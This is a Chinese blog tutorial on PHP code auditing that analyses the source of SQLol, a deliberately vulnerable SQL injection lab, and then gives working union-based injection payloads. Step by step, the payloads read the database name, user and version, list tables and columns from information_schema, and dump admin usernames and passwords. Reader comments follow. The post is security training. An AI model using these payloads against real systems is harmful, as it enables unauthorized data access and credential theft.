正在阅读:

【PHP代码审计实例教程】SQL注入-1.什么都没过滤的入门情况

5,804

近期博客将更新几篇PHP代码审计教程,文章转载自朋友博客,文章的风格简洁明了,也和我博客一惯坚持的风格类似。

文章已经得到授权(cnbraid授权),虽然不是我原创,但是文章很给力,希望小伙伴们喜欢。

0x01 背景

首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~

php代码审计

0x02 环境搭建

PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。
这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。
PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。

①源码我打包了一份:http://pan.baidu.com/s/1nu2vaOT

②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:

php代码审计

0x03 漏洞分析

首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:

php代码审计

这里进行简单的源码分析,看不懂就略过以后再看~

1.看select.php文件,开始引入了/include/nav.inc.php

<?php
include('includes/nav.inc.php');
?>

2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:

php代码审计

表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下

<?php
$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);

if(isset($_REQUEST['submit'])){ //submit后,开始进入处理程序

switch($_REQUEST['sanitize_quotes']){ //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来

    case 'quotes_double':
        $_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']);
        break;
    case 'quotes_escape':
        $_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']);
        break;
    case 'quotes_remove':
        $_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']);
        break;

}

//对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格
if(isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']);

//黑名单关键字的处理,文章用不上,略过...
if(isset($_REQUEST['blacklist_keywords'])){
    $blacklist = explode(',' , $_REQUEST['blacklist_keywords']);
}
//过滤级别,新手可以不用管,略过...
if(isset($_REQUEST['blacklist_level'])){
    switch($_REQUEST['blacklist_level']){
        //We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.
        //At medium blacklisting, checks are done case-insensitively.
        //At the highest level, checks are done case-insensitively and repeatedly.

        case 'low':
            foreach($blacklist as $keyword){
                $_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']);
            }
            break;
        case 'medium':
            foreach($blacklist as $keyword){
                $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']));
            }
            break;
        case 'high':
            do{
                $keyword_found = 0;
                foreach($blacklist as $keyword){
                    $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count);
                    $keyword_found += $count;
                }    
            }while ($keyword_found);
            break;

    }
}
}

?>

3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:

<?php
if(isset($_REQUEST['submit'])){ //submit后,进入处理程序之二,1在上面

if($_REQUEST['location'] == 'entire_query'){//判断是不是整条语句都要注入,这里方便学习可以忽略不管

    $query = $_REQUEST['inject_string'];
    if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';

} else { //这里是根据你选择要注射的位置来构造sql语句

    $display_column_name = $column_name = 'username';
    $display_table_name = $table_name = 'users';
    $display_where_clause = $where_clause = 'WHERE isadmin = 0';
    $display_group_by_clause = $group_by_clause = 'GROUP BY username';
    $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';
    $display_having_clause = $having_clause = 'HAVING 1 = 1';

    switch ($_REQUEST['location']){
        case 'column_name':
            $column_name = $_REQUEST['inject_string'];
            $display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
            break;
        case 'table_name':
            $table_name = $_REQUEST['inject_string'];
            $display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
            break;
        case 'where_string':
            $where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";
            $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";
            break;
        case 'where_int':
            $where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];
            $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
            break;
        case 'group_by':
            $group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];
            $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
            break;
        case 'order_by':
            $order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';
            $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';
            break;
        case 'having':
            $having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];
            $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
            break;
    }

    $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";
    /*Probably a better way to create $displayquery...
    This allows me to underline the injection string
    in the resulting query that's displayed with the
    "Show Query" option without munging the query
    which hits the database.*/
    $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";

}

include('includes/database.inc.php');//这里又引入了一个包,我们继续跟进看看

}
?>

4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^

$db_conn = NewADOConnection($dsn);

print("\n<br>\n<br>");
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";

$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);
$results = $db_conn->Execute($query);

0x04 漏洞证明

1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:

php代码审计

2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC

根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:

-1 union select 222333# 

找到输出点“222333”的位置如下图:

php代码审计

3.构造获取数据库相关信息的POC:

-1 union select concat(database(),0x5c,user(),0x5c,version())#

成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:

php代码审计

4.构造获取数据库sqlol中所有表信息的POC:

-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#

成功获取数据库sqlol所有表信息如下:

php代码审计

5.构造获取admin表所有字段信息的POC:

-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#

成功获取表admin所有字段信息如下:

php代码审计

6.构造获取admin表账户密码的POC:

-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#

成功获取管理员的账户密码信息如下:

php代码审计

原文地址:

http://www.cnbraid.com/2015/12/17/sql0/

目前有:3条访客评论,博主回复3

  1. dddhd
    2016-03-17 14:52

    从今天起开始学!誓要拿下审计工作!

  2. 默默
    2016-03-30 14:32

    前辈你好,我目前大一。以后想做代码审计的工作(二本。),不想考研!!前辈能否给点建议,谢谢

    • 独自等待
      2016-04-05 10:41

      建议学习信息安全,只是代码审计的话比较单一,信息安全方向可能比较好找工作一些,代码审计你也可以多学习一下。

  3. popokk
    2016-06-21 14:35

    关注你的博客 也看了好多了。写的挺好的 ,在渗透这方面想问问大牛一些东西~~方便聊聊不;)

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌